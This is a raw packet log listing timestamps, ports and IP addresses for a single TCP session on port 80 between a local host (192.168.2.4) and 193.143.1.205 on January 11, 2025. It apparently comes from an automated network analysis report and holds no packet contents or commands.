Jan 11, 2025 06:59:23.916934967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.916950941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.916963100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.916973114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.916990995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.917001009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.917007923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.917046070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.940819979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.940850019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.940862894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.940947056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.941087008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.941267967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.971205950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.971267939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.971307039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.971360922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.971395969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.971429110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.971465111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.971493006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.971493959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.971587896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.972146988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.972182989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.972217083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.972235918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.972270012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.972290039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.972305059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.972398043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.972417116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.972469091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.972524881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.001913071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.001941919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.001955032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.001966953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.001979113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002000093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002012014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002024889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002032042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002037048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002044916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002062082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.002137899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.002551079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002563000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002584934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002595901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002599001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.002609015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002620935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002641916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.002674103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.002815008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002834082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002846003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002855062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.002856970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002868891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002882004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002891064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.002895117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002907038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002918005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002926111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.002929926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002943039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002954006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002959967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.002964973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.002985954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.003007889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.003357887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.003370047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.003382921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.003401995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.003412962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.003424883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.003432989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.003437042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.003473997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.003659010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.003704071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.003875971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.003887892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.003904104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.003915071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.003933907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.003959894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.027561903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.027587891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.027606010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.027617931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.027630091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.027683020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.027851105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.057876110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.057899952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.057910919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.057920933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.057926893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.057933092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.057970047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.058016062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.058881998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.058892012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.058907986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.058919907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.058928967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.058929920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.058943033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.058953047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.058954000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.058968067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.059000969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.059127092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.059135914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.059176922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.088666916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.088709116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.088718891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.088735104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.088746071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.088756084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.088767052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.088906050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.088917017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.088927031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.088948011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.088948011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.088948011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.088985920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.089035034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.089045048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.089055061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.089083910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.089107990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.089153051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.089289904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.089299917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.089309931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.089334965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.089447021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.089457989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.089468002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.089478016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.089488029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.089495897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.089529037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.089651108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.089660883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.089669943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.089689970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.089740992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.089751005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.089781046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.090020895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.090030909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.090042114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.090051889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.090070009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.090094090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.090104103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.090104103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.090114117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.090123892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.090137959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.090173006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.090182066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.090192080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.090203047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.090225935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.090229988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.090251923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.090637922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.090648890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.090658903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.090692997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.090698957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.090708017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.090718031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.090723991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.090754986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.090976000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.090989113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.090998888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.091015100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.091020107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.091025114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.091052055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.091078043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.114360094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.114379883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.114389896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.114404917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.114414930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.114425898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.114435911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.114568949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.114568949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.144634008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.144646883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.144658089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.144709110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.144736052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.144895077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.144912958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.144923925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.144934893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.144959927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.144985914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.145695925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.145726919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.145777941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.145783901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.145813942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.145863056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.145870924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.145896912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.145946980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.145963907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.145981073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.146013975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.146045923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.146061897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.146078110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.146099091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.175662994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.175739050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.175776958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.175812006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.175847054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.175859928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.175859928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.175879955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.175894976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.175915956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.175950050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.175964117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.175983906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176018953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176029921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.176053047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176085949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176096916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.176141024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176171064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176184893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.176223040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176256895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176270008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.176290989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176325083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176342010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.176358938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176390886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176404953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.176424026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176457882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176477909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.176495075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176529884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176542044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.176565886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176595926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176615000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.176649094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176695108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.176698923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176732063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176764965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176780939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.176800013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176831961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176846981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.176882029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176915884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176928043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.176949024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176984072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.176999092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.177016973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.177051067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.177061081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.177084923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.177126884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.177427053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.177478075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.177511930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.177520990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.177544117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.177577972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.177586079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.177611113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.177653074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.177659035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.177691936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.177733898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.177747965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.177767038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.177800894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.177805901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.178153992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.178188086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.178200006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.178222895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.178316116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.178323984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.178350925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.178396940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.201113939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.201162100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.201199055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.201234102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.201272964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.201313972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.201333046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.201368093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.201401949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.201433897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.201467991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.201474905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.201474905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.201474905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.201518059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.231398106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.231435061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.231487989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.231539965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.231575012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.231609106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.231640100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.231640100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.231645107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.231673002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.231682062 CET	49730	80	192.168.2.4	193.143.1.205
